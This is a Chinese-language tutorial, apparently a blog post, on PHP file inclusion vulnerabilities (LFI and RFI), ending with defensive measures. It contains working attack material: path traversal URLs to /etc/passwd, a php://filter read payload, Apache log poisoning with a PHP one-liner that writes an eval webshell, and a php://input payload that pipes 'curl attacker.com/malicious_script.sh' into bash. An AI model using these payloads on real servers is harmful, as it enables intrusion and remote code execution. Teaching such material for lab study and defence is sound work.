h5網(wǎng)站設(shè)計欣賞免費網(wǎng)站安全軟件大全
目錄
說明
通常分為兩種類型:
本地文件包含
典型的攻擊方式1:
影響:
典型的攻擊方式2:
包含路徑解釋:
日志包含漏洞:
操作原理
包含漏洞讀取文件?
文件包含漏洞遠程代碼執(zhí)行漏洞:
遠程文件包含
典型的攻擊方式:
影響:
文件包含漏洞的根本原因
語言包含漏洞
PHP文件包含漏洞函數(shù)
文件包含漏洞相關(guān)的常見 PHP 函數(shù)
1. include() 和 require()
2. include_once() 和 require_once()
3. fopen() 和 fread()
4. file_get_contents()
5. readfile()
6. highlight_file()
7. fpassthru()
總結(jié)
防御措施
輸入驗證與過濾:
禁用遠程文件包含:
使用絕對路徑:
文件包含路徑限制:
日志記錄與監(jiān)控:
代碼審計與滲透測試:
總結(jié)
說明
文件包含漏洞(File Inclusion Vulnerability)是一種常見的Web安全漏洞,它允許攻擊者通過修改文件路徑,包含服務(wù)器上未經(jīng)授權(quán)的文件,可能導(dǎo)致敏感信息泄露、代碼執(zhí)行或服務(wù)器被入侵。根據(jù)文件包含的行為
通常分為兩種類型:
- 本地文件包含(LFI)
- 遠程文件包含(RFI)
本地文件包含
- LFI 是指攻擊者能夠包含和執(zhí)行服務(wù)器本地文件系統(tǒng)中的文件
攻擊者通過修改程序中的文件路徑參數(shù),訪問并讀取本地文件(如配置文件、日志文件、甚至敏感的系統(tǒng)文件),有時也能執(zhí)行惡意文件。
典型的攻擊方式1:
- 攻擊者通過修改 URL 參數(shù)來試圖包含本地文件
- 例如:
http://example.com/index.php?page=../../../../etc/passwd
- 在這個例子中
攻擊者試圖通過“
../../../../etc/passwd
”來訪問服務(wù)器上的/etc/passwd
文件(Unix/Linux 系統(tǒng)中的一個存儲用戶賬戶信息的文件)。
影響:
- 信息泄露:攻擊者能夠查看服務(wù)器上的敏感文件(如配置文件、日志文件、密碼文件等)。
- 路徑遍歷攻擊:攻擊者可以通過構(gòu)造特殊的路徑,訪問并查看不應(yīng)公開的文件。
- 惡意文件執(zhí)行:如果不當配置或存在缺陷,攻擊者甚至可以包含可執(zhí)行文件進行代碼執(zhí)行。
典型的攻擊方式2:
- 用戶輸入控制: 應(yīng)用程序允許用戶通過URL參數(shù)或其他輸入來指定文件路徑。例如:
<?php
include($_GET['page']);
?>
這種代碼會根據(jù)用戶傳入的page
參數(shù)來包含文件。
包含路徑解釋:
-
絕對路徑包含
-
相對路徑包含
-
文件穿越漏洞
-
包含一些圖片嗎進行控制 包含敏感文件讀取出來
-
遠程文件包包含,另外一個網(wǎng)站 得文件,其它網(wǎng)站得文件包含進來。
-
直接引用別人得網(wǎng)站得圖片 前提是看別人開啟了相關(guān)參數(shù)沒。
日志包含漏洞:
- 日志包含漏洞是指攻擊者通過注入惡意內(nèi)容到日志文件中,可能會破壞日志文件的完整性,或通過日志文件將惡意代碼執(zhí)行。
- 攻擊者可以偽造日志,或在日志中插入惡意的HTTP頭、SQL注入等攻擊代碼,進而進行進一步的攻擊。
操作原理
當某個PHP文件存在本地包含漏洞,而卻無法上傳正常文件.
這就意味著有包含漏洞卻不能拿來利用,這時攻擊者就有可能會利用apache日志文件來入侵.
Apache服務(wù)器運行后會生成兩個日志文件,這兩個文件是access.log(訪問日志)和error.log(錯誤日志)。
apache的日志文件記錄下我們的操作,并且寫到訪問日志文件access.log之中
前提開啟了日志記錄功能 apache 其實還是需要指紋收集收到日志目錄的位置
其實這種方式就是把木馬直接寫入到日志文件中.
在訪問網(wǎng)站得時候 加入木馬程序 也就是在訪問程序得時候加入一句話木馬相關(guān)程序 這樣就會寫入到程序中去了
蟻箭 冰蝎 連接程序 Winwos程序中都有一句話木馬程序 連接
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 寫入后再訪問 就可以通過日志進行訪問
1瀏覽器日志 記錄可能會編譯成url編碼
2通過抓包 也就會變成正常得編碼記錄到日志 然后訪問日志目錄就可以進入文件包含漏洞進行入侵。
- 記錄下php得一句話木馬程序?qū)懛?/em>
- 寫入一句話木馬 通過蟻箭連接不上 換個方式寫入php一句話木馬
- <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
- 數(shù)據(jù)存在于存在與執(zhí)行得目錄中 jaden.php
- 問題: 我們在實際操作得時候 如何確定日志是空 如何找到對應(yīng)日志目錄 指紋收集
包含漏洞讀取文件?
讀取php文件 包含就能讀取:
-
采用得是file:///協(xié)議
-
讀取php文件不想執(zhí)行
-
Php:/// 讀取文件 指定php協(xié)議來讀取協(xié)議
-
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php
-
以base64得數(shù)據(jù)格式進行讀取出來
-
- 通過文件包含漏洞利用
file://
偽協(xié)議讀取文件是一種常見的攻擊手段,特別是當Web應(yīng)用程序允許通過用戶輸入指定文件路徑時。- 攻擊者可以利用這種方式繞過某些安全控制,從而讀取本地文件(例如
/etc/passwd
或其他敏感文件),或者執(zhí)行路徑遍歷攻擊來獲取服務(wù)器上的敏感信息。- file:///etc/passwd
文件包含漏洞遠程代碼執(zhí)行漏洞:
- 文件包含漏洞(File Inclusion Vulnerability)如果結(jié)合遠程文件包含(Remote File Inclusion, RFI)和不當?shù)呐渲没蚬粽卟倏氐妮斎?/em>
- 可能導(dǎo)致遠程代碼執(zhí)行漏洞(Remote Code Execution, RCE)
- 在這種情況下,攻擊者不僅能讀取文件,還能執(zhí)行惡意代碼,導(dǎo)致嚴重的安全問題。
-
服務(wù)端存在包含漏洞
-
也就是通過include(php://input) 進行執(zhí)行而不是用文件進行執(zhí)行
-
執(zhí)行得命令
-
Php://input 執(zhí)行過程
<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>
遠程文件包含
- RFI 是指攻擊者能夠通過包含遠程的惡意文件來攻擊網(wǎng)站
通常情況下,RFI 涉及到文件路徑中包含 URL,允許攻擊者從外部服務(wù)器加載并執(zhí)行惡意腳本。
典型的攻擊方式:
- 攻擊者通過修改 URL 中的參數(shù),將遠程服務(wù)器上的惡意文件包含到服務(wù)器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
- 在這個例子中
- 攻擊者試圖加載并執(zhí)行遠程服務(wù)器上的
malicious_script.php
文件- 可能執(zhí)行惡意操作,比如執(zhí)行反向 shell、竊取數(shù)據(jù)、或劫持服務(wù)器
- 比如說我們本地搭建了一個程序?編寫了一個webshell,然后通過遠程文件包含漏洞訪問本地搭建的服務(wù)中的webshell文件,實現(xiàn)對肉雞的控制。
影響:
- 遠程代碼執(zhí)行:攻擊者能夠遠程執(zhí)行惡意代碼,這可能導(dǎo)致服務(wù)器完全被控制。
- 網(wǎng)站篡改:攻擊者可能通過上傳惡意腳本,篡改網(wǎng)站內(nèi)容或竊取用戶信息。
- 數(shù)據(jù)泄露:攻擊者可通過包含惡意文件竊取數(shù)據(jù)庫連接信息或其他敏感數(shù)據(jù)。
文件包含漏洞的根本原因
- 用戶輸入未嚴格驗證:文件路徑參數(shù)或 URL 沒有經(jīng)過充分的驗證和過濾,允許攻擊者修改路徑。
- 不當?shù)奈募幚磉壿?/strong>:代碼未對文件包含操作進行適當?shù)臋?quán)限控制或路徑限制,導(dǎo)致攻擊者能夠訪問和執(zhí)行敏感文件。
- 缺乏安全配置:服務(wù)器未啟用適當?shù)呐渲?#xff0c;例如禁止遠程文件包含(RFI),或沒有禁用危險函數(shù)(如
include
,require
,fopen
等)。
語言包含漏洞
-
包含操作,在大多數(shù)Web語言中都會提供的功能
-
但PHP對于包含文件所提供的功能太強大,太靈活,所以包含漏洞經(jīng)常出現(xiàn)在PHP語言中,這也就導(dǎo)致了出現(xiàn)了一個錯誤現(xiàn)狀
-
很多初學者認為包含漏洞只出現(xiàn)PHP任何語言都會存在文件包含的漏洞.
-
公共代碼封裝在專門的文件類中 也就是封裝的一個概念 引入其它封裝的條件
-
Import-python 也就是代碼漏洞
-
針對不同的語言?比如說?go?php?java?python?也就是對應(yīng)相關(guān)的函數(shù)
PHP文件包含漏洞函數(shù)
- PHP 作為一種常用的 Web 編程語言,具有一些常用的函數(shù),這些函數(shù)可以導(dǎo)致文件包含漏洞,尤其在沒有進行嚴格的輸入驗證時。
文件包含漏洞相關(guān)的常見 PHP 函數(shù)
1. include()
和 require()
功能:
include()
和require()
用于將文件引入當前 PHP 文件并執(zhí)行。include()
在文件不可用時會發(fā)出警告(warning)- 而
require()
會發(fā)出致命錯誤(fatal error)并停止執(zhí)行。
安全隱患:
include($_GET['page']);
// 如果未進行過濾,攻擊者可以傳遞惡意的文件路徑,如 '../../etc/passwd'
如果傳入的文件路徑(參數(shù))未經(jīng)過嚴格驗證,攻擊者可能利用路徑遍歷(
../../
)或者遠程文件包含攻擊,加載敏感文件或遠程惡意文件。
2. include_once()
和 require_once()
功能:
- 與
include()
和require()
相同,但它們確保文件只會被包含一次,避免重復(fù)包含文件導(dǎo)致的錯誤。
安全隱患:
- 如果傳入的文件路徑不被驗證,攻擊者依然可以通過路徑遍歷或遠程文件包含攻擊來操控文件包含。
3. fopen()
和 fread()
功能:
fopen()
打開文件,fread()
讀取文件內(nèi)容,通常用于讀取文本或二進制文件內(nèi)容。
安全隱患:
$file = fopen($_GET['file'], "r"); // 如果未驗證,攻擊者可以操控路徑讀取文件
- 如果文件路徑未經(jīng)過驗證,攻擊者可以讀取服務(wù)器上的敏感文件或惡意文件。
4. file_get_contents()
功能:
file_get_contents()
用于讀取文件內(nèi)容并將其作為字符串返回。
安全隱患:
$content = file_get_contents($_GET['file']);
如果參數(shù)為用戶輸入的文件路徑或 URL,攻擊者可以通過路徑遍歷或遠程文件包含攻擊來讀取本地或遠程惡意文件。
5. readfile()
功能:
readfile()
輸出文件內(nèi)容到瀏覽器,通常用于直接輸出文件內(nèi)容。
安全隱患:
readfile($_GET['file']);
攻擊者可以通過路徑遍歷攻擊或包含遠程文件,輸出敏感文件內(nèi)容或惡意代碼。
6. highlight_file()
功能:
highlight_file()
輸出 PHP 源代碼并對其進行語法高亮顯示。
安全隱患:
highlight_file($_GET['file']);
如果沒有限制或驗證,攻擊者可以通過該函數(shù)查看服務(wù)器上任意 PHP 文件的源代碼,可能泄露敏感信息。
7. fpassthru()
功能:
fpassthru()
函數(shù)讀取并直接輸出文件的內(nèi)容,通常與 fopen()
配合使用。
安全隱患:
$file = fopen($_GET['file'], "r");
fpassthru($file);
與
fread()
和file_get_contents()
類似,如果文件路徑未被驗證,攻擊者可以利用該函數(shù)讀取并輸出敏感文件內(nèi)容。
總結(jié)
PHP 中的文件包含函數(shù)(如 include()
、require()
、fopen()
等)是文件包含漏洞的核心來源,尤其在未嚴格驗證用戶輸入時,容易導(dǎo)致路徑遍歷、遠程文件包含(RFI)或本地文件包含(LFI)攻擊。防御這種漏洞的關(guān)鍵是:
- 嚴格控制文件路徑參數(shù)的來源和內(nèi)容;
- 禁用不必要的功能(如遠程文件包含);
- 采用絕對路徑、白名單、權(quán)限控制等手段限制文件的訪問范圍。
防御措施
-
輸入驗證與過濾:
- 對所有用戶輸入的文件路徑參數(shù)進行嚴格的過濾和驗證,拒絕任何可能導(dǎo)致路徑遍歷(如
../
)的輸入。 - 使用白名單機制,限制只能包含特定目錄下的文件。
- 對所有用戶輸入的文件路徑參數(shù)進行嚴格的過濾和驗證,拒絕任何可能導(dǎo)致路徑遍歷(如
-
禁用遠程文件包含:
- 在 PHP 中,禁用
allow_url_include
和allow_url_fopen
,防止包含遠程文件。 - 設(shè)置
open_basedir
,限制 PHP 程序只能訪問特定目錄下的文件。
- 在 PHP 中,禁用
-
使用絕對路徑:
- 避免使用用戶提供的路徑參數(shù)來構(gòu)建文件路徑。盡量使用固定的路徑或基于配置的安全路徑。
-
文件包含路徑限制:
- 使用
basename()
或類似的函數(shù)確保包含的文件不會遍歷目錄結(jié)構(gòu)。 - 對于包含的文件,最好限定在特定的目錄內(nèi),避免通過路徑構(gòu)造訪問任意文件。
- 使用
-
日志記錄與監(jiān)控:
- 配置 Web 服務(wù)器和應(yīng)用程序進行日志記錄,監(jiān)控異常的文件包含請求。
- 設(shè)置警報機制,及時發(fā)現(xiàn)潛在的文件包含攻擊。
-
代碼審計與滲透測試:
- 定期進行代碼審計,檢查可能存在文件包含漏洞的地方。
- 使用自動化工具進行滲透測試,模擬文件包含攻擊,查找漏洞。
總結(jié)
文件包含漏洞是一個相對常見且危險的安全問題,尤其在動態(tài)網(wǎng)頁系統(tǒng)中,由于代碼沒有對外部輸入進行有效的驗證,攻擊者可以通過文件包含漏洞來執(zhí)行惡意代碼或泄露敏感數(shù)據(jù)。防御這種漏洞的關(guān)鍵在于對用戶輸入的嚴格驗證、文件路徑的嚴格控制以及遠程文件包含的禁用。
喜歡本文的請動動小手點個贊,收藏一下,有問題請下方評論,轉(zhuǎn)載請注明出處,并附有原文鏈接,謝謝!如有侵權(quán),請及時聯(lián)系。